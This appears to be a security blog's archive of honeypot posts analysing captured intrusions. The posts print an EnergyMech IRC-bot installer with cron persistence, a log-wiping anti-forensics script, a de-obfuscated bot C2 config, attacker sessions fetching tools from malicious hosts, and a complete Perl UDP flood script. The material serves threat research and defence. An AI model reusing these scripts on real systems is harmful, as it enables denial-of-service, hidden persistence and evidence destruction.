Skip navigation

Category Archives: honeypot

There are a number of reasons that a hacker/skid might want control of a machine. Compromised hosts serve as an ideal place to launch attacks from, as when properly configured by an attacker (and hopefully not noticed by careless administrators), the bad guy can use this machine for a long time, for file storage, or as a place to launch further malicious attacks.

In a recent attack, I witnessed an attacker dropping multiple files on my machine, both forms of IRC bot software. One of them was a seemingly well known perl script created by Brazilian group, Atrix-Team. Since it’s written in perl rather than one of the standard compiled languages, it’s much easier to others to customise and spread. The second was a .tar full of c source code, a few binaries, and some bash scripts. Nice!

Let’s take a look:

$ ls -l
-rwxrwxr-x 1 ubuntu ubuntu    317 Oct 30  2006 autorun
-rwxrwxr-x 1 ubuntu ubuntu  12210 Aug  4 00:26 b
-rwxrwxr-x 1 ubuntu ubuntu    485 Aug  5 12:07 clear.sh
-rwxrwxr-x 1 ubuntu ubuntu   7768 Aug 26 17:38 inst
-rwxrwxr-x 1 ubuntu ubuntu 397274 Dec  2  2005 kswapd1
-rwxrwxr-x 1 ubuntu ubuntu     34 Aug  5 11:14 run
drwxrwxr-x 2 ubuntu ubuntu   4096 Aug  5 11:55 src
-rwxrwxr-x 1 ubuntu ubuntu    327 Aug  4 12:34 start
-rwxrwxr-x 1 ubuntu ubuntu    169 Aug  5 12:47 update

Fun stuff! I count 8 executable files, and 1 directory. To pick it apart piece by piece:

autorun
$ file autorun
autorun: POSIX shell script, ASCII text executable

#!/bin/sh
pwd > mech.dir
dir=$(cat mech.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/m.pid; then
pid=\$(cat $dir/m.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

This is an interesting script. It appears to add an entry to the cron tab to run update in the current directory. It then creates the update script, and sets it to executable by the current user.

update
$ file update
update: POSIX shell script, ASCII text executable

#!/bin/sh
if test -r /var/spool/.m/m.pid; then
pid=$(cat /var/spool/.m/m.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /var/spool/.m
./run &>/dev/null

This is the script created by autorun, and configured to trigger automatically via crontab. It checks that .m/.m.pid is readable, and if so, reads the PID from the file, and attempts to kill that process. It exists with value 0 if it succeeds, swaps to the directory where the malicious files are being stored, and executes run.

run
$ file run
run: POSIX shell script, ASCII text executable

#!/bin/sh
export PATH=".";kswapd1

Short but sweet. Exports the current directory to the path, and then executes kswapd1.

Sadly, we’re out of bash script land, now. We’re onto the meat of the matter, the binary itself:

kswapd1
$ file kswapd1
kswapd1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped
$ checksums
79217fb606e9b14c3a8d6c399bc74492 md5

First off, the name. kswapd1 is an apparent attempt to survive casual inspection of the process list by mimicking kswapd, the kernel swap daemon responsible for memory management on the system.

We can run the ‘strings’ command on the executable to hopefully get an idea about what we’re getting in to. Inside, we can see a lot of references to IRC commands, and the distinctive word, EnergyMech. EnergyMech is a free/open source IRC bot programmed in c. The feature list is respectable, and seems like a useful feature set for any aspiring botnet owner. This coincides with the contents of the src/ folder we found in the initial .tar file. Also, there are a number of referenced files, presumably generated after the IRC bot is running:

.genuser
./m.
./m.set
./m.ses
./m.help
./m.lev
./m.msg
./m.pid
./r/rquit.e
./r/raway.e
./r/rkicks.e
./r/rversions.e
./r/rpickup.e
./r/rinsult.e
./r/rtsay.e

This is supported by the reappearence of m.pid, which is apparently saved and used to shut down the bot. Since EnergyMech’s feature set is well documented on the site, and the attacker was unsuccessful in configuring it, I won’t waste time further inspecting the binary for now.

clear.sh
$ file clear.sh
clear.sh: Bourne-Again shell script, ASCII text executable, with CRLF line terminators

#!/bin/bash
unset HISTFILE HISTZONE HISTSAVE HISTORY
history -r
history -c
unset WATCH
export HISTFILE=/dev/null
rm -rf /usr/adm/lastlog
rm -rf /var/log/secure*
rm -rf /var/log/lastlog*
rm -rf /var/log/messages*
rm -rf /var/log/auth*
rm -rf /var/log/maillog*
rm -fr /var/log/lfd.log*
touch /var/log/maillog
touch /var/log/lfd.log
touch /var/log/messages
touch /var/log/secure
touch /var/log/lastlog
rm -rf /root/.bash_history
touch /root/.bash_history
./b -u root

A simple bash script to clear all logs, then recreate the files. It then runs b -u root.

b
$ file b
b: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped

A quick look at the ‘strings’ output yields several references to log cleaning. Using the poor man’s debugger (google) we identify one of the distinctive strings, ‘didn’t found any parametr to clean (username, hostname, tty)!’ as belonging to WhiteCat, a binary/log cleaner written in c by a member of the Hell Knights Crew.

There are two extra files that don’t seem to have been called so far by the others, inst and start. For the sake of completeness, I will give a breakdown of each.

start
$ file start
start: Bourne-Again shell script, ASCII text executable

#!/bin/bash
/sbin/ifconfig | grep -v "inet6" |grep "inet" | tr ':' ' '| awk '{ print $3 }' | grep -v "127.0.0.1" > vhosts
nrs=`cat vhosts | grep -c .`
######variabile######
D=1
B=./vhosts
sleep 1
while read line; do
   ./inst $1 $line
case "$D" in
"1")
D=2
;;
"2")
D=3
;;
"3")
D=4
;;
"4")
D=1
;;
esac
 done < $B
./run
./autorun

The first string of greps retrieves the IP address(es) of the host, and saves them into the file ‘vhosts’. That file is then read line by line, with each IP being passed to inst along with another parameter, the channel. Finally, run and autorun are both called.

inst
$ file inst
inst: Bourne-Again shell script, ISO-8859 text executable

#!/bin/bash
Denominations="gaina
martoaga
martianu
sambatar
....snip....
costel
daniela
lucica
lucia"

ident=($Idents)
num_idents=${#ident[*]}

Realnames="Sato
Suzuki
Takahashi
Tanaka
Watanabe
....snip....
Demers
Gosselin"

denomination=($Denominations)
num_denominations=${#denomination[*]}

echo "SERVER Tampa.FL.US.Undernet.org 6667" >> m.set
echo "SERVER budapest.hu.eu.undernet 6667" >> m.set
echo "SERVER zurich.ch.eu.undernet.org" >> m.set
echo "SERVER lidingo.se.eu.undernet.org 6667" >> m.set
echo "SERVER manchester.uk.eu.undernet.org 6667" >> m.set
echo "SERVER mesa.az.us.undernet.org 6667" >> m.set
echo "SERVER bucharest.ro.eu.undernet.org 6667" >> m.set

echo "ENTITY $2" >> m.set

echo "### BOT 1 ###" >> m.set
echo "NICK ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "USERFILE $2.user" >> m.set
echo "CMDCHAR ." >> m.set
echo "LOGIN ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "IRCNAME ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "MODES +iwsx" >> m.set
echo "HASONOTICE" >> m.set
echo "VIRTUAL $2" >> m.set
echo "TOG CC          1" >> m.set
echo "TOG CLOAK       1" >> m.set
echo "TOG SPY         1" >> m.set
echo "SET OPMODES     6" >> m.set
echo "SET BANMODES    6" >> m.set
echo "CHANNEL         #$1 " >> m.set
echo "TOG PUB         1" >> m.set
echo "TOG MASS        1" >> m.set
echo "TOG SHIT        1" >> m.set
echo "TOG PROT        1" >> m.set
echo "TOG ENFM        0" >> m.set
echo "SET MKL         7" >> m.set
echo "SET MBL         7" >> m.set
echo "SET MPL         1" >> m.set

echo "### BOT 2 ###" >> m.set
echo "NICK ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "USERFILE $2.user2" >> m.set
echo "CMDCHAR ." >> m.set
echo "LOGIN ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "IRCNAME ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "MODES +iwsx" >> m.set
echo "HASONOTICE" >> m.set
echo "VIRTUAL $2 " >> m.set
echo "TOG CC          1" >> m.set
echo "TOG CLOAK       1" >> m.set
echo "TOG SPY         1" >> m.set
echo "SET OPMODES     6" >> m.set
echo "SET BANMODES    6" >> m.set
echo "CHANNEL         #$1 " >> m.set
echo "TOG PUB         1" >> m.set
echo "TOG MASS        1" >> m.set
echo "TOG SHIT        1" >> m.set
echo "TOG PROT        1" >> m.set
echo "TOG ENFM        0" >> m.set
echo "SET MKL         7" >> m.set
echo "SET MBL         7" >> m.set
echo "SET MPL         1" >> m.set

echo "handle  z " >> $2.user
echo "mask  *!*@zmeu.users.undernet.org " >> $2.user

echo "prot  4" >> $2.user
echo "channel   * " >> $2.user
echo "access  100 " >> $2.user

echo "handle  z " >> $2.user2
echo "mask  *!*@zmeu.users.undernet.org " >> $2.user2
echo "prot  4" >> $2.user2
echo "channel   * " >> $2.user2
echo "access  100 " >> $2.user2

This file appears to be generating the configuration for the EnergyMech bots, as well as individual user files. It takes two inputs, $1 and $2, from ./start. $1 is the channel to join, and #2 appears to be the IP address of the user. A random nick is selected from the list in the script, which seemed to be a mix of actual names, and random words.

Fortunately, from the kippo log, the attacker kindly showed us exactly what channel he was trying to use. Unfortunately, if it’s hosted on a public server, it’s going to be very resilient. I hopped onto a VPN, and into the IRC to have a look around. There were 21 users, including 2 operators, 1 of whom was an undernet service. The other had a cloaked hostname. Of the rest, 4 had undernet cloaked hostnames, and the remainder did not. A small botnet, if my suspicions are correct, and unlikely to grow fast if the operators are manually installing the bots on compromised hosts.

Thanks for stopping by, @DINAMO of #raul, connecting to the honeypot from 87.219.142.165 on Oct 26th. It’s always fun to have ‘live ammunition’ to play with.

Bonus Round

The perl script was downloaded from hxxp://dearlifefuckyou.com/xaoc/max.txt, and the homepage of dearlifefuckyou.com is blanked out except for an advert and the text “// xaoc was here”. The config of the perl script was as follows:

my $section=chr(120) . chr(46) . chr(115) . chr(105) . chr(116) . chr(104) . chr(110) . chr(101) . chr(116) . chr(46) . chr(111) . chr(114) . chr(103);
my $porta=chr(49) . chr(49) . chr(50) . chr(49) . chr(49);
my @interval=chr(35) . chr(46) . chr(106);
my @location=chr(120) . chr(88) . chr(120);
my $mapp=chr(115) . chr(117) . chr(110);
push(@location,$mapp);

While this is top end obfuscation, I think we can crack it.

my $section=x.sithnet.org;
my $porta=11211;
my @interval=#.j;
my @location=xXx;
my $mapp=sun;
push(@location,$mapp);

While it is not currently up, sithnet.org resolves to 212.199.115.203, which has also gone by terahost.tv and has a history of bad behaviour.

Advertisements

Short but sweet.

dev:~# w
 09:27:26 up 29 days, 19:48,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    79.147.238.131    09:27    0.00s  0.00s  0.00s w
dev:~# unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
dev:~# export HISTFILE=/dev/null
dev:~# export HISTSIZE=0
dev:~# w
 09:27:58 up 29 days, 19:49,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/0    79.147.238.131    09:27    0.00s  0.00s  0.00s w
dev:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:4c:a8:ab:32:f4
          inet addr:10.98.55.4  Bcast:10.98.55.255  Mask:255.255.255.0
          inet6 addr: fe80::21f:c6ac:fd44:24d7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:84045991 errors:0 dropped:0 overruns:0 frame:0
          TX packets:103776307 errors:0 dropped:0 overruns:0 carrier:2
          collisions:0 txqueuelen:1000
          RX bytes:50588302699 (47.1 GiB)  TX bytes:97318807157 (90.6 GiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:308297 errors:0 dropped:0 overruns:0 frame:0
          TX packets:308297 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:355278106 (338.8 MiB)  TX bytes:355278106 (338.8 MiB)
dev:~# wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN
-US/W2Ksp3.exe
--2012-10-25 09:30:05--  http://download.microsoft.com/download/win2000platform/
SP/SP3/NT5/EN-US/W2Ksp3.exe
Connecting to download.microsoft.com:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 130978672 (124M) [application/octet-stream]
Saving to: `W2Ksp3.exe

 0% [>                                      ] 1,098        0K/s  eta 1d 21h 7m 1
 0% [>                                      ] 22,818       11K/s  eta 3h 11m 15s
 0% [>                                      ] 182,850      69K/s  eta 31m 27s
 2% [>                                      ] 3,149,716    363K/s  eta 5m 52s^C
200 OK
dev:~# rm -rf .bash_history
dev:~# touch .bash_history
dev:~#

Seems a little odd that our friend 79.147.238.131 (which appears to be a residential (but dynamically assigned…) IP) would go through so much effort just to disconnect the session, but oh well.

I set up a Kippo honeypot a few weeks ago on a micro Amazon instance and left it running, eventually letting it slip my mind. Today, I remembered to check it out, and what do you know, I got some results.

Unfortunately for our intruder, Kippo wasn’t particularly cooperative. Here’s the log:

dev:~# w
15:34:22 up 13 days, 1:55, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 5.13.84.3 15:34 0.00s 0.00s 0.00s w
dev:~# cat /proc/cpuinfo
[--- snip ---]
dev:~# wget http://cachefly.cachefly.net/100mb.test
--2012-10-08 15:35:37-- http://cachefly.cachefly.net/100mb.test
Connecting to cachefly.cachefly.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 104857600 (100M) [application/octet-stream]
Saving to: `100mb.test

100%[======================================>] 104,857,600 10113K/s

2012-10-08 15:35:48 (10113 KB/s) - `100mb.test' saved [104857600/104857600]
dev:~# wget http://root-arhive.clan.su/flood/global/udp.tgz
--2012-10-08 15:36:00-- http://root-arhive.clan.su/flood/global/udp.tgz
Connecting to root-arhive.clan.su:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 529 (529bytes) [application/octet-stream]
Saving to: `udp.tgz

100%[======================================>] 529 0K/s

2012-10-08 15:36:01 (0 KB/s) - `udp.tgz' saved [529/529]
dev:~# tar xzvf udp.tgx
tar: udp.tgx: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
dev:~# tar xzvf udp.tgz
udp.pl
dev:~# chmod +x *
dev:~# perl udp.pl 12
bash: perl: command not found
dev:~# apt-get install perl
Reading package lists... Done
[--- snip ---]
Setting up perl (1.31-2) ...
dev:~# perl udp.pl 12
perl: Segmentation fault
dev:~# apt-get install kernel*
Reading package lists... Done
[--- snip ---]
Setting up kernel (1.4-6) ...
dev:~# apt-get install linux*
Reading package lists... Done
[--- snip ---]
Setting up linux (1.12-8) ...
dev:~# perl udp.pl 12
perl: Segmentation fault
dev:~#

This looks like a fairly typical attack. In short:

  • The hacker has connected from 5.13.84.3. The hacker runs w to see who else is around.
  • The hacker dumps the contents of /proc/cpuinfo to see what kind of machine they’re working with.
  • The hacker downloads http://cachefly.cachefly.net/100mb.test, presumably to check the speed of the connection.
  • The hacker downloads hxxp://root-arhive.clan.su/flood/global/udp.tgz. Looks like they want to use this machine to DoS, but I’ll take a closer look at that file in good time.
  • After this, we can see the hacker’s frustrated attempts to actually RUN their file. Naturally, Kippo is pretty uncooperative, so they soon get fed up and leave.

Now we can take a look at udp.pl. How exciting. The script itself is pretty obvious stuff, so I’ll go ahead and post it. Comments are mine:

#!/usr/bin/perl

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "for any info vizit #GlobaL \n";
 exit(1);
}

# Takes three arguments: Target, port, and how long to flood for.
my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1]; 
 $time=$ARGV[2];

# Prepares a socket connection. The last parameter is for the protocol, so I'm assuming 17 corresponds to UDP.
socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "Flooding.. $ip port.. $port \n";

# If you haven't declared the port or duration...
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
# If you HAVE declared the port and duration
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
# If you have declared the port, but not the duration
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
# If you've declared the duration, but not the port
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &"); 
 goto randpackets;
}

# Flood the given port
packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
} 

# Flood a random port
randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

If you’re going to allow ssh access to your server, remember to secure it. Even if you don’t have any data worth stealing, it’s easy for people to turn your machine against others.

Over a slow weekend, I decided to make my first attempt at running a Dionaea honeypot to catch some malware samples to play with. Armed with this simple guide and a micro Amazon EC2 instance, the whole thing was up and running in well under an hour. For my first attempt, I stuck with the default configuration. I imagine there’s a lot of improvements and tweaks that I entirely missed.

It didn’t take long to start getting hits, and after three days I stopped. The honeypot had produced a 6.1gb log, and the instance was beginning to complain that there was no space left on the drive to write to. I had managed to snag three binaries:

47b2e95136e660522067221ae405025c
9b9df225dfc4b43c727b9177e9eb0678
fd1fb45d7ca1eeef06f5d46a3e9a3d2f

It had been surveyed by 2387 unique IP addresses over 10 different protocols. However, I found that all three binaries on the system were the responsibility of one hacker (group?), originating from a Ukrainian IP address.

We can see the connections here:

Time                  Protocol      Local Port   Remote IP
2012-09-19 17:43:49   smbd          445          46.119.232.93
2012-09-19 17:43:49   smbd          445          46.119.232.93
2012-09-19 17:43:52   remoteshell   1957         46.119.232.93
2012-09-19 19:15:52   smbd          445          46.119.232.93
2012-09-19 19:15:52   smbd          445          46.119.232.93
2012-09-19 19:15:56   remoteshell   1957         46.119.232.93

And here we have the downloads:

URL                            md5
hxxp://46.120.20.85:12097/x    9b9df225dfc4b43c727b9177e9eb0678
txxp://46.128.183.60/host.exe  fd1fb45d7ca1eeef06f5d46a3e9a3d2f
txxp://46.128.183.60/host.exe  fd1fb45d7ca1eeef06f5d46a3e9a3d2f
txxp://46.128.172.44/host.exe  47b2e95136e660522067221ae405025c

The next interesting point is the urls in the log. The majority of urls captured seemed primarily used for spam. Some quick stats:

3059 mail login attempts
293845 advertisement urls
71 forum registrations

Next up, fun with Kippo.